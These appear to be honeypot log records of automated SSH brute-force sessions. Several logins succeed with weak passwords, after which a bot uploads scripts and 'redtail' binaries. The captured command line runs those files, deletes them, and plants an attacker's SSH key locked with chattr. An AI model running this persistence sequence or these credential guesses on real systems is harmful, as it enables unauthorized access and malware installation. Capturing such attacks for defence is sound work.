{"id":"21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4","name":"smooth-wandering-oryx","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57298,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-25T14:30:34.810048+00:00","ended_at":"2026-08-25T14:30:35.596959+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-25T14:30:34.680906+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-25T14:30:34.912349+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-25T14:30:35.395358+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-25T14:30:35.596238+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-25T14:30:35.598124+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-25T14:30:35.598947+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-25T14:30:35.599610+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-25T14:30:35.600303+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Zz123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"a663df6a-3175-4f21-a8f3-98df8a9e9874","name":"sullen-buoyant-serval","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":4148,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T14:29:57.219319+00:00","ended_at":"2026-08-25T14:30:03.038732+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Zz123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"3e913b3c-41e4-48f3-b32e-3fd55f6e8b15","name":"woven-gentle-raven","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":3330,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T14:29:44.987768+00:00","ended_at":"2026-08-25T14:29:49.318864+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"555555","method":"password","accepted":false,"tier":"other"}]}
{"id":"b85c6072-5d57-4193-83e4-3390d8133dc4","name":"quaint-chilly-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":30154,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T14:29:31.446804+00:00","ended_at":"2026-08-25T14:29:36.950036+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Password123!","method":"password","accepted":false,"tier":"other"}]}
{"id":"1a89d4f8-6eb1-4402-9cb6-68a4cbd7f36d","name":"nautical-foggy-cormorant","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":26150,"username":"manager","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-23T00:43:29.794697+00:00","ended_at":"2026-08-23T00:43:29.948066+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":1050,"events":[{"seq":1,"at":"2026-08-23T00:43:29.613889+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-23T00:43:29.801915+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-23T00:43:29.838519+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-23T00:43:29.865959+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.arm8 (1696412 bytes)"},{"seq":5,"at":"2026-08-23T00:43:29.897226+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.i686 (1838060 bytes)"},{"seq":6,"at":"2026-08-23T00:43:29.927920+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.riscv (1759768 bytes)"},{"seq":7,"at":"2026-08-23T00:43:29.943944+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.x86_64 (1989056 bytes)"},{"seq":8,"at":"2026-08-23T00:43:29.946760+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/setup.sh (2126 bytes)"}],"credentials":[{"username":"manager","password":"manager","method":"password","accepted":true,"tier":"other"}]}
{"id":"ad46cfe7-6a1b-4079-a325-99aa0fd71bed","name":"fierce-downy-sable","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":42322,"username":"manager","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-23T00:42:51.676658+00:00","ended_at":"2026-08-23T00:42:57.830046+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"manager","password":"manager","method":"password","accepted":true,"tier":"other"}]}
{"id":"718e635e-fabf-494d-9c57-f4c352a9e062","name":"zealous-canny-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":57204,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-23T00:42:38.462447+00:00","ended_at":"2026-08-23T00:42:43.716833+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"00000000","method":"password","accepted":false,"tier":"other"}]}
{"id":"887eaa91-63fe-4f32-a99e-63c0fb876a6f","name":"scarlet-wry-otter","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":54696,"username":"alex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-23T00:42:26.189604+00:00","ended_at":"2026-08-23T00:42:30.714798+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alex","password":"alex","method":"password","accepted":false,"tier":"other"}]}
{"id":"87c2eb28-34f2-44c9-9d94-210ae924165b","name":"crimson-nimble-meerkat","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57926,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-20T07:29:14.913545+00:00","ended_at":"2026-08-20T07:29:15.120608+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-20T07:29:14.798249+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-20T07:29:14.934077+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-20T07:29:15.001660+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-20T07:29:15.097592+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-20T07:29:15.115062+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-20T07:29:15.117442+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-20T07:29:15.118356+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-20T07:29:15.119568+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Qwer1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"d299a9a1-82ff-4e38-afbc-85d95924e63a","name":"nimble-restless-manatee","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":38682,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T07:28:39.803430+00:00","ended_at":"2026-08-20T07:28:45.931498+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Qwer1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"5fd1e6f4-3152-4f47-a6a8-df55fccb1c21","name":"muted-lunar-crane","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":32524,"username":"linaro","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T07:28:27.076896+00:00","ended_at":"2026-08-20T07:28:32.132937+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"linaro","password":"linaro","method":"password","accepted":false,"tier":"other"}]}
{"id":"23acd5de-7198-4cac-87b5-55dbca241bea","name":"humble-ancient-vervet","protocol":"ssh","channel_kind":null,"src_ip":"77.90.185.20","src_port":57514,"username":"admin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T07:28:14.548896+00:00","ended_at":"2026-08-20T07:28:19.426038+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"123456","method":"password","accepted":false,"tier":"common"}]}